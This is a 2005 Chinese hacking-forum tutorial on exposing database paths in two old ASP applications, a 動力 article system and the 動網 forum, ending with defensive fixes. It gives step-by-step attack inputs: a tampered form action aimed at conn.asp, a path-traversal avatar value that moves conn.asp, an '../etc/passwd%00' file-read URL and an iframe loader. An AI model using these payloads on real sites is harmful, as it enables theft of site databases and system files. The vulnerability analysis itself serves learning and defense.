| |||
2005-2-19 0:00:15 | 作者:未知 |
前言
數(shù)據(jù)庫作為一個(gè)站點(diǎn)的核心部分其重要性自然不言而喻,網(wǎng)管們也煞費(fèi)苦心的把數(shù)據(jù)庫改名、加上特殊符號(hào)來增加安全性。但是最近一些安全站點(diǎn)的數(shù)據(jù)庫路徑紛紛被人找到并下載,也就是最近討論的很熱的"暴庫"技術(shù)。我和紫幻以及黑客X檔案的各位朋友們也對(duì)這門技術(shù)進(jìn)行了研究。雖說研究成果還不是很多,但希望能起一個(gè)拋轉(zhuǎn)引玉的作用。下面我就拿兩個(gè)系統(tǒng)來做實(shí)例分析:
動(dòng)力文章系統(tǒng)
一般說來每一個(gè)站點(diǎn)程序文件中都會(huì)有一個(gè)連接數(shù)據(jù)的文件(一般是conn.asp),當(dāng)然這個(gè)文件名和路徑并不是固定的,有的是在站點(diǎn)根目錄下,有的是放在專門的一個(gè)文件夾里,通常這個(gè)文件夾名為INC,文件名為conn.asp。如果把這和暴庫聯(lián)系起來,通常人們都會(huì)想到通過訪問這個(gè)文件來得到關(guān)于數(shù)據(jù)庫的信息,而實(shí)際上我們直接訪問這個(gè)文件是不會(huì)得到我們想要的信息的,所以就需要結(jié)合一些漏洞來達(dá)到暴庫的目的。
首先我來簡(jiǎn)單介紹一下這個(gè)程序,動(dòng)力文章系統(tǒng)分為商業(yè)SQL版本和免費(fèi)ACCESS版本,我們這里測(cè)試的當(dāng)然是ACCESS版的。程序的conn.asp文件用于連接數(shù)據(jù)庫,在/INC這個(gè)目錄下,數(shù)據(jù)庫文件在/Database目錄下。連接數(shù)據(jù)庫用的是相對(duì)路徑:db="database/adsfkldfogowerjnokfdslwejhdfsjhk.mdb"
動(dòng)力文章系統(tǒng)的這個(gè)數(shù)據(jù)庫路徑泄露隱患應(yīng)該算是程序員的疏忽而造成的,由于conn.asp這個(gè)文件本身存在隱患,導(dǎo)致攻擊者獲得數(shù)據(jù)庫路徑。漏洞發(fā)現(xiàn)者:天天(即黑客X論壇叫sohu的那位MM:),參與研究者:怪狗、iceyes、sniper。(漏洞分析可以參考_blank>http://www.hackerxfiles.net/bbs/dispbbs.asp?boardID=4&ID=27293)。
開始的時(shí)候我們還以為editor.asp這個(gè)文件缺乏足夠的驗(yàn)證,但是后來分析我們才發(fā)現(xiàn)不是editor.asp的問題。天天的那種做法只是利用editor.asp查看服務(wù)器返回信息。很顯然,這個(gè)文件是用于編輯文章內(nèi)容的時(shí)候用的,雖然沒有什么別的權(quán)限,但是我們可以編輯更改HTML頁面。點(diǎn)擊"原代碼"找到這樣一段內(nèi)容:
<FORM name=Login onsubmit="return CheckForm();" action=Admin_ChkLogin.asp method=post target=_parent>
<TABLE cellSpacing=0 cellPadding=0 width=585 align=center border=0>
這是該頁面進(jìn)行身份驗(yàn)證的時(shí)候,將內(nèi)容傳遞給Admin_ChkLogin.asp這個(gè)文件的內(nèi)容,下面我們要做的就是把它改成conn.asp文件了:
<FORM name=Login onsubmit="return CheckForm();" action=http://www.target.com/inc/conn.asp method=post target=_parent>
<TABLE cellSpacing=0 cellPadding=0 width=585 align=center border=0>
這是什么原因呢,讓我們看看這個(gè):
‘D:\web\power\access\inc\database\adsfkldfogowerjnokfdslwejhdfsjhk.mdb‘不是一個(gè)有效的路徑。確定路徑名稱拼寫是否正確,以及是否連接到文件存放的服務(wù)器。
目錄結(jié)構(gòu)我開始已經(jīng)說了主目錄下存在INC目錄(用于存放conn.asp)和DATABASE目錄(數(shù)據(jù)庫文件,即adsfkldfogowerjnokfdslwejhdfsjhk.mdb),那既然DATABASE目錄并不在INC目錄下,剛才暴露數(shù)據(jù)庫的時(shí)候卻顯示\inc\database\呢。這就是編寫人員的一大疏忽。由于INC和DATABASE屬于同級(jí)目錄,當(dāng)我們用editor.asp連接訪問conn.asp的時(shí)候,由于DATABASE并沒有在INC目錄下,而系統(tǒng)確認(rèn)為你是在請(qǐng)求\inc\database\adsfkldfogowerjnokfdslwejhdfsjhk.mdb這個(gè)文件,而實(shí)際上沒有這個(gè)文件,系統(tǒng)找不到這個(gè)文件自然就報(bào)錯(cuò)拉。要解決這個(gè)問題,最直接的方法就是和動(dòng)網(wǎng)那樣使conn.asp處于數(shù)據(jù)庫文件的上級(jí)目錄或同一個(gè)目錄中。
動(dòng)網(wǎng)論壇
根據(jù)上面動(dòng)力文章系統(tǒng)的分析我們可以得到存在數(shù)據(jù)庫路徑泄露這個(gè)問題的程序的標(biāo)志:
1 conn.asp和調(diào)用它的文件(如INDEX.ASP)不在同一目錄。
2 conn.asp連接數(shù)據(jù)庫用的是相對(duì)路徑。
知道了漏洞的原理,再來理解動(dòng)網(wǎng)得到數(shù)據(jù)庫的方法也就不難了。前一段時(shí)間臭要飯的發(fā)現(xiàn)了動(dòng)網(wǎng)論壇的一個(gè)大漏洞,可以轉(zhuǎn)移任何文件。如果單純利用這個(gè)漏洞,至多可以把別人論壇文件刪除,卻得不到任何權(quán)限。那天我和紫幻討論這個(gè)問題的時(shí)候,突然想到了一個(gè)方法,只要我們將這個(gè)漏洞結(jié)合我們動(dòng)力文章得到數(shù)據(jù)庫的方法,我們很容易的就可以想到得到動(dòng)網(wǎng)論壇數(shù)據(jù)庫的方法。下面和我一起來看看動(dòng)網(wǎng)我們?cè)撛趺醋霭伞?
動(dòng)網(wǎng)的漏洞出在mymodify.asp這個(gè)文件上,它在對(duì)用戶自定義頭像的部分處理的過于草率,我們可以利用/.\來跳轉(zhuǎn)目錄并移動(dòng)文件,看下面代碼:
‘******************
‘對(duì)上傳頭象進(jìn)行過濾與改名
if Cint(Forum_Setting(7))=1 then
on error resume next
dim objFSO,upfilename,newfilename
dim upface,memberid
set rs=conn.execute("select userid,face from [user] where userid="&userid)
memberid=rs(0)
upface=trim(rs(1))
newfilename=""
upfilename=split(upface,"/")
if ubound(upfilename)=1 and upfilename(0)="uploadFace" then
if instr(upfilename(1),"_")=0 then
newfilename="uploadFace/"&memberid&"_"&upfilename(1) /用戶定義的頭像變?yōu)閡ploadFace/用戶ID
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
if objFSO.fileExists(Server.MapPath(upface)) then
objFSO.movefile ""&Server.MapPath(upface)&"",""&Server.MapPath(newfilename)&""
end if
If Err.Number = 0 Then
conn.execute("update [user] set face=‘"&newfilename&"‘ where userid="&userid)
end if
set objFSO=nothing
end if
end if
rs.close
set rs=nothing
end if
‘對(duì)上傳頭象進(jìn)行過濾與改名結(jié)束
‘****************
看看這句:
newfilename="uploadFace/"&memberid&"_"&upfilename(1) /newfilename=用戶定義的頭像變?yōu)閡ploadFace/用戶ID_upfilename的另一部分
再看:
if objFSO.fileExists(Server.MapPath(upface)) then
objFSO.movefile ""&Server.MapPath(upface)&"",""&Server.MapPath(newfilename)&""
/看見沒有?最關(guān)鍵的部分來了,如果檢測(cè)到upface代表的文件存在,則對(duì)改文件進(jìn)行移動(dòng)并改名!
好了,代碼分析完畢,看看我們到底應(yīng)該怎么樣利用它吧。注冊(cè)一個(gè)用戶,進(jìn)入基本資料修改的頁面后,關(guān)鍵部分就要來了。大家還記得在玩showfiles類文件的時(shí)候跳轉(zhuǎn)目錄來查看資料嗎?類似下面的的URL,我們就利用../來跳轉(zhuǎn)目錄對(duì)passwd文件進(jìn)行查看。提交:
http://www.target.com/show.php?file=../../../../../etc/passwd%00
相信大家都在那里把/、\、.和..的作用了解了吧。呵呵,下面我們要做的就是跳轉(zhuǎn)目錄把conn.asp轉(zhuǎn)移過來。在自定義頭像地址那里添上這樣的一句:
uploadFace/.\..\conn.asp (注意大小寫)
前面已經(jīng)分析過代碼了,這句話的意思應(yīng)該看的懂了吧,我們把“頭像”地址指向了上級(jí)目錄的conn.asp。由于符合它的判斷條件upface存在,所以它就會(huì)把conn.asp這個(gè)文件轉(zhuǎn)移到uploadFace這個(gè)目錄來,這樣就符合我們玩動(dòng)力文章系統(tǒng)的時(shí)候的第一個(gè)條件了。一般大家用的都是相對(duì)路徑,所以下面我們只要調(diào)用這個(gè)文件就會(huì)知道數(shù)據(jù)庫路徑。新建一個(gè)HTML文件寫上如下內(nèi)容:
<IFRAME marginWidth=0 marginHeight=0 src="_blank>http://www.target.com/dvbbs/uploadFace/conn.asp" frameBorder=0 width=500 scrolling=noshade height=400></IFRAME>
安全篇
看來問題都出在conn.asp本身,不打自招。為了安全我們得好好處理一下它。
最笨的方法就是把它改名了,讓別人猜不到路徑。但是它要被很多文件調(diào)用,還得改其它地方。
我們用相對(duì)路徑的時(shí)候,數(shù)據(jù)庫路徑會(huì)隨著調(diào)用conn.asp的文件而改變,從而產(chǎn)生了錯(cuò)誤。那么我們就讓連接數(shù)據(jù)庫使用絕對(duì)路徑,這樣一來不管誰調(diào)用conn.asp數(shù)據(jù)庫路徑都不變了。
我在測(cè)試動(dòng)網(wǎng)這個(gè)漏洞的時(shí)候,發(fā)現(xiàn)對(duì)一些比較新的版本,就是文件挪移成功了也暴不出數(shù)據(jù)庫路徑。但是有的6.0版本有效??磥硇碌陌姹緞?dòng)網(wǎng)論壇對(duì)conn.asp進(jìn)行了特殊的處理。對(duì)比了一下兩個(gè)不同的conn.asp,發(fā)現(xiàn)新的conn.asp里加了這么一句:
On Error Resume Next
這樣一來,就是出錯(cuò)了不提示數(shù)據(jù)庫信息,打死了也不招!當(dāng)然以上的那些方法結(jié)合起來使用就更好了!
聯(lián)系客服